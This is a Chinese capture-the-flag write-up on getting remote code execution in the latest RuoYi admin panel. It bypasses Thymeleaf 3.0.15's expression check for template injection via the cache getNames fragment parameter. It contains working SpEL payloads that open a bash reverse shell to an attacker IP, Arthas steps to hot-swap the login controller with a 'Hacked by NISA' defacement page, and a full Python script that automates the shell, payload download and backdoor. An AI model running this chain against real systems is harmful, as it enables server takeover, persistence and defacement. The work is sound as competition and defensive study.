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强网s9RuoYiwp

强网s9RuoYiwp

RW赛题,给了个虚拟机里面的docker跑着最新版的若依,能登后台,要求后台RCE

直接说思路,若依曾经的后台是有爆出thymeleaf的ssti的

若依管理后台的一些代码执行漏洞-先知社区

image-20251125224111051

image-20251125224143744

这个空格绕过是众所周知,但是4.8.1也就是最新版本的若依的thymeleaf版本改成了3.0.15,对比之前的3.0.12

https://github.com/thymeleaf/thymeleaf/compare/thymeleaf-spring5-3.0.12.RELEASE...thymeleaf-spring5-3.0.15.RELEASE?diff=unified&w=

image-20251125224607080

新增了这里的代码

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private static boolean containsExpression(final String text) {  
    final int textLen = text.length();  
    char c;  
    boolean expInit = false;  
    for (int i = 0; i < textLen; i++) {  
        c = text.charAt(i);  
        if (!expInit) {  
            if (c == '$' || c == '*' || c == '#' || c == '@' || c == '~') {  
                expInit = true;  
            }  
        } else {  
            if (c == '{') {  
                return true;  
            } else if (!Character.isWhitespace(c)) {  
                expInit = false;  
            }  
        }  
    }  
    return false;  
}

这里写法有漏洞,可以轻松绕过检查

我们传入$${xxx},先检测$字符,expInit为true,接着判断后面的字符是否为{,这里不是为false,其实就绕过了表达式检查,后面只要不为上面$*#@~,expInit的值就一直为false,绕过了表达式检测

当然你$后面随便一个字符都行

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$任意字符{} 
$${}

但是我们直接传入这样的形式是不行的,因为thymeleaf不允许这样的格式

image-20251125130748782

从这里我们可以得到

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__|$${xxx}|__::.x

这个跟下面这个一样

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__'$' + ${xxx}__::.x

接下来就是下载若依源码,找到文章同样的地方看看变化

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//ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/CacheController.java
@RequiresPermissions("monitor:cache:view")
    @PostMapping("/getNames")
    public String getCacheNames(String fragment, ModelMap mmap)
    {
        mmap.put("cacheNames", cacheService.getCacheNames());
        return prefix + "/cache::" + fragment;
    }

路由/monitor/cache/getNames?fragment

根本没改,直接打spel表达式注入反弹shell先

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__|$${ ''.getClass().forName('org.springframework.expression.spel.standard.SpelExpressionParser').newInstance().parseExpression("''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjQ3LjEvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}')").getValue()}__::.x

url编码,这里上面写的很清楚要POST请求这个路由,然后get传fragment参数

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/monitor/cache/getNames?fragment=__%7C%24%24%7B%20''.getClass().forName('org.springframework.expression.spel.standard.SpelExpressionParser').newInstance().parseExpression(%22''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash%20-c%20%7Becho%2CL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjQ3LjEvMjMzMyAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D')%22).getValue()%7D__%3A%3A.x

起个nc监听就拿到shell,接下来要求是把login界面改成给定的界面

docker正在运行,找到一个hook进程的java工具Release arthas-all-4.1.1 · alibaba/arthas · GitHub

下载bin那个压缩包,用wget上传上去,另外准备一个login的界面,前下那个同目录下有个SysLoginController.java,把login路由改成准备好的html

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public String login(HttpServletRequest request, HttpServletResponse response, ModelMap mmap) throws IOException {
        PrintWriter writer = response.getWriter();
        writer.write(new String(Base64.getDecoder().decode("PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPgogIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4KICA8dGl0bGU+SGFjayBieSBOSVNBPC90aXRsZT4KICA8c3R5bGU+CiAgICBib2R5IHsKICAgICAgbWFyZ2luOiAwOwogICAgICBiYWNrZ3JvdW5kOiBibGFjazsKICAgICAgZGlzcGxheTogZmxleDsKICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7CiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7CiAgICAgIGhlaWdodDogMTAwdmg7CiAgICAgIG92ZXJmbG93OiBoaWRkZW47CiAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgZm9udC1mYW1pbHk6ICdBcmlhbCcsIHNhbnMtc2VyaWY7CiAgICB9CgogICAgLmhhY2stdGV4dCB7CiAgICAgIGZvbnQtc2l6ZTogNTBweDsKICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsKICAgICAgdGV4dC1zaGFkb3c6IDAgMCA1cHggIzAwZmYwMCwgMCAwIDEwcHggIzAwZmYwMCwgMCAwIDIwcHggIzAwZmYwMCwgMCAwIDQwcHggIzAwZmYwMDsKICAgICAgYW5pbWF0aW9uOiBnbGl0Y2ggMnMgaW5maW5pdGU7CiAgICB9CgogICAgQGtleWZyYW1lcyBnbGl0Y2ggewogICAgICAwJSwgMTAwJSB7CiAgICAgICAgdGV4dC1zaGFkb3c6IDAgMCA1cHggIzAwZmYwMCwgMCAwIDEwcHggIzAwZmYwMCwgMCAwIDIwcHggIzAwZmYwMCwgMCAwIDQwcHggIzAwZmYwMDsKICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgwLCAwKTsKICAgICAgfQogICAgICAyMCUgewogICAgICAgIHRleHQtc2hhZG93OiAtMnB4IC0ycHggNXB4ICNmZjAwMDAsIDJweCAycHggMTBweCAjMDAwMGZmLCAycHggMnB4IDIwcHggI2ZmMDAwMDsKICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtM3B4LCAycHgpOwogICAgICB9CiAgICAgIDQwJSB7CiAgICAgICAgdGV4dC1zaGFkb3c6IDJweCAycHggNXB4ICNmZjAwMDAsIC0ycHggLTJweCAxMHB4ICMwMDAwZmYsIC0ycHggLTJweCAyMHB4ICNmZjAwMDA7CiAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGUoM3B4LCAtMnB4KTsKICAgICAgfQogICAgfQoKICAgIC5zY2FubGluZXMgewogICAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgIHRvcDogMDsKICAgICAgbGVmdDogMDsKICAgICAgd2lkdGg6IDEwMCU7CiAgICAgIGhlaWdodDogMTAwJTsKICAgICAgYmFja2dyb3VuZDogcmVwZWF0aW5nLWxpbmVhci1ncmFkaWVudCgKICAgICAgICB0byBib3R0b20sCiAgICAgICAgcmdiYSgwLCAwLCAwLCAwLjEpIDAsCiAgICAgICAgcmdiYSgwLCAwLCAwLCAwLjEpIDJweCwKICAgICAgICByZ2JhKDAsIDAsIDAsIDAuMikgMnB4LAogICAgICAgIHJnYmEoMCwgMCwgMCwgMC4yKSA0cHgKICAgICAgKTsKICAgICAgcG9pbnRlci1ldmVudHM6IG5vbmU7CiAgICAgIGFuaW1hdGlvbjogZmxpY2tlciAwLjFzIGluZmluaXRlOwogICAgfQoKICAgIEBrZXlmcmFtZXMgZmxpY2tlciB7CiAgICAgIDAlLCAxMDAlIHsKICAgICAgICBvcGFjaXR5OiAwLjg7CiAgICAgIH0KICAgICAgNTAlIHsKICAgICAgICBvcGFjaXR5OiAwLjY7CiAgICAgIH0KICAgIH0KICA8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5PgogIDxkaXYgY2xhc3M9ImhhY2stdGV4dCI+cnVveWkgaXMgSGFja2VkIGJ5IE5JU0E8L2Rpdj4KICA8ZGl2IGNsYXNzPSJzY2FubGluZXMiPjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4K")));
        writer.flush();
        writer.close();
        return "login";
    }

然后就是跟着教程用这工具

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unzip arthas-packaging-4.1.1-bin.zip
./install-local.sh #安装hook工具
java -jar arthas-boot.jar
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sc -d *SysLoginController* #拿到对应进程的hash
mc -c 21b8d17c SysLoginController.java
redefine -c 21b8d17c /app/com/ruoyi/web/controller/system/SysLoginController.class

image-20251122225751389

image-20251122225808349

image-20251122225819198

自动化脚本

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import threading
import socket
import time
import base64
import http.server
import socketserver
import re
import sys
import urllib.parse

TARGET_IP = "192.168.191.110"
TARGET_PORT = "8080"
ATTACK_IP = "192.168.191.123"
ATTACK_PORT = 1234
HTTP_PORT = 8000
JSESSIONID = "1745bdb3-2c55-4dc0-a8d3-dd99e57a18ed" 

# 4. 文件名 (必须在当前脚本同目录下)
JAVA_FILE = "SysLoginController.java"
ARTHAS_ZIP = "arthas-packaging-4.1.1-bin.zip"
# ===========================================

class Soldier(threading.Thread):
    """
    自动交互线程:Shell -> 下载 -> 安装Arthas -> 获取Hash -> 编译 -> 热更
    """
    def __init__(self, host, port):
        super().__init__()
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))
        self.sock.listen(1)
        self.conn = None
        self.addr = None
        
    def run(self):
        print(f"[+] Socket listening on {self.host}:{self.port}...")
        self.conn, self.addr = self.sock.accept()
        print(f"[!] SHELL CONNECTED FROM {self.addr[0]}")
        self.handle_arthas_flow()

    def send(self, cmd):
        """发送命令"""
        print(f"[*] Sending: {cmd.strip()}")
        try:
            self.conn.send(cmd.encode() + b"\n")
        except BrokenPipeError:
            print("[-] Connection lost during send.")

    def recv_until(self, keyword, timeout=20):
        """读取直到看到关键字,返回这一段所有的输出"""
        self.conn.settimeout(timeout)
        data = b""
        start_time = time.time()
        while True:
            if time.time() - start_time > timeout:
                print(f"[-] Timeout waiting for '{keyword}'")
                break
            try:
                chunk = self.conn.recv(4096)
                if not chunk: break
                data += chunk
                decoded = data.decode('utf-8', errors='ignore')
                if keyword in decoded:
                    return decoded
            except socket.timeout:
                break
            except Exception as e:
                print(f"[-] Socket error: {e}")
                break
        return data.decode('utf-8', errors='ignore')
        
    def strip_ansi(self, text):
        ansi_escape = re.compile(r'\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])')
        return ansi_escape.sub('', text)

    def handle_arthas_flow(self):
        # === 1. 环境准备 ===
        time.sleep(2) # 等待 shell 稳定
        
        # 下载恶意代码
        command = f"wget http://{ATTACK_IP}:{HTTP_PORT}/{JAVA_FILE} -O /app/{JAVA_FILE}"
        self.send(command)
        time.sleep(1)
        
        # 下载并安装 Arthas
        self.send(f"wget http://{ATTACK_IP}:{HTTP_PORT}/{ARTHAS_ZIP} -O arthas.zip")
        time.sleep(0.5)
        self.send("unzip -o arthas.zip")
        time.sleep(1) #解压需要时间
        
        print("[*] Starting Arthas Boot...")
        self.send("java -jar arthas-boot.jar")
        
        # 自动选进程 [1]
        output = self.recv_until("ruoyi-admin.jar", timeout=10)
        self.send("1")
        
        # 等待 Arthas 启动完毕
        output = self.recv_until("arthas@", timeout=20)
        if "arthas@" not in output:
            print("[!] Failed to attach Arthas. Exiting flow.")
            # 也可以选择在这里直接进入交互模式排查
            return

        print("[+] Arthas Attached!")

        # === 2. 获取 ClassLoader Hash ===
        # 目标命令: sc -d *SysLoginController*
        print("[*] STEP 1: Searching ClassLoader Hash...")
        self.send("sc -d *SysLoginController*")
        
        sc_output = self.recv_until("Affect(row-cnt:1)", timeout=10)
        # 提取 Hash: classLoaderHash   21b8d17c
        sc_output = self.strip_ansi(sc_output)
        hash_match = re.search(r"classLoaderHash\s+([0-9a-fA-F]+)", sc_output)
        
        if not hash_match:
            print("[-] Failed to find hash. Output:\n", sc_output)
            return
        
        target_hash = hash_match.group(1)
        print(f"[+] GOT HASH: {target_hash}")

        # === 3. 内存编译 (Memory Compile) ===
        # 目标命令: mc -c 21b8d17c /app/SysLoginController.java
        # 注意: 前面wget我们把文件放在了 /app/SysLoginController.java
        print("[*] STEP 2: Memory Compiling...")
        mc_cmd = f"mc -c {target_hash} {JAVA_FILE}"
        self.send(mc_cmd)
        
        mc_output = self.recv_until("Affect(row-cnt:1)", timeout=15)
        
        # 提取 Class Path
        # Log 格式:
        # Memory compiler output:
        # /app/com/ruoyi/web/controller/system/SysLoginController.class
        mc_output = self.strip_ansi(mc_output)
        path_match = re.search(r"Memory compiler output:\s*(/.+\.class)", mc_output, re.MULTILINE)
        
        # 如果没抓到,尝试抓取任意以 .class 结尾的行
        if not path_match:
            path_match = re.search(r"([/\w-]+\.class)", mc_output)
            
        if not path_match:
            print("[-] Failed to parse class path. Output:\n", mc_output)
            # 兜底策略:尝试默认路径,通常 ruoyi 结构固定
            class_path = "/app/com/ruoyi/web/controller/system/SysLoginController.class"
            print(f"[*] Using fallback path: {class_path}")
        else:
            class_path = path_match.group(1).strip()
            print(f"[+] COMPILED PATH: {class_path}")

        # === 4. 热重载 (Redefine) ===
        # 目标命令: redefine -c 21b8d17c /path/to/xxx.class
        print(f"[*] STEP 3: Redefining Class with {target_hash}...")
        
        redefine_cmd = f"redefine -c {target_hash} {class_path}"
        self.send(redefine_cmd)
        
        redefine_output = self.recv_until("redefine success", timeout=10)
        
        if "redefine success" in redefine_output:
            print("\n" + "="*50)
            print("   [SUCCESS] REDEFINE SUCCEEDED! Backdoor is ACTIVE.")
            print("="*50 + "\n")
        else:
            print("[-] Redefine output does not define success:\n", redefine_output)

        # === 5. 转入交互模式 ===
        print("[*] Dropping into interactive shell (Ctrl+C to quit)...")
        self.conn.setblocking(True)
        while True:
            try:
                # 简单的数据转发
                data = self.conn.recv(1024)
                if not data: break
                sys.stdout.write(data.decode('utf-8', errors='ignore'))
                sys.stdout.flush()
            except KeyboardInterrupt:
                break
            except:
                break

class FileServer(threading.Thread):
    def __init__(self, port):
        super().__init__()
        self.port = port
        self.httpd = socketserver.TCPServer(("", self.port), http.server.SimpleHTTPRequestHandler)
    def run(self):
        print(f"[+] HTTP File Server running on port {self.port}")
        self.httpd.serve_forever()

def generate_url():
    # 原始 Payload 模板 (URL Encoded)
    raw_template = "http://{target_ip}:{target_port}/monitor/cache/getNames?fragment=__%7c%24%24%7b+%27%27.getClass().forName(%27org.%27%2b%27springframework.expression.spel.standard.SpelExpressionParser%27).newInstance().parseExpression(%22%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27bash+-c+%7becho%2cL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTc3LjEvMTIzNCAwPiYxICY=%3d%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d%27)%22).getValue()%7d__%3a%3a.xx"
    base_url = raw_template.format(target_ip=TARGET_IP, target_port=TARGET_PORT)
    
    # 待替换的旧Base64 (题目原始值)
    old_b64 = "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTc3LjEvMTIzNCAwPiYxICY="
    
    # 生成新命令
    cmd = f"/bin/bash -i >& /dev/tcp/{ATTACK_IP}/{ATTACK_PORT} 0>&1 &"
    # Base64编码
    new_b64 = base64.b64encode(cmd.encode()).decode()
    # URL Safe (将 + 变为 %2B, = 变为 %3D)
    new_b64_safe = urllib.parse.quote(new_b64)
    
    print(f"[*] Payload Cmd: {cmd}")
    print(f"[*] New Base64 : {new_b64}")
    
    return base_url.replace(old_b64, new_b64_safe)

def main():
    # 确保文件存在
    import os
    if not os.path.exists(JAVA_FILE) or not os.path.exists(ARTHAS_ZIP):
        print(f"[!] Error: Please make sure '{JAVA_FILE}' and '{ARTHAS_ZIP}' are in the current directory.")
        sys.exit(1)

    # 1. 启动文件服务
    fs = FileServer(HTTP_PORT)
    fs.daemon = True
    fs.start()
    
    # 2. 启动Shell监听
    sl = Soldier("0.0.0.0", ATTACK_PORT)
    sl.daemon = True
    sl.start()
    
    time.sleep(1)
    
    # 3. 发送 EXP
    target_url = generate_url()
    print(f"[*] Exploiting: {target_url[:60]}...")
    
    try:
        requests.post(target_url, cookies={"JSESSIONID": JSESSIONID}, timeout=2)
    except requests.exceptions.Timeout:
        pass # 反弹shell通常会导致timeout,这是正常的
    except Exception as e:
        print(f"[!] HTTP Error: {e}")
        
    # 4. 保持主线程
    while True:
        try:
            time.sleep(1)
        except KeyboardInterrupt:
            print("\n[*] Exiting...")
            sys.exit(0)

if __name__ == "__main__":
    main()
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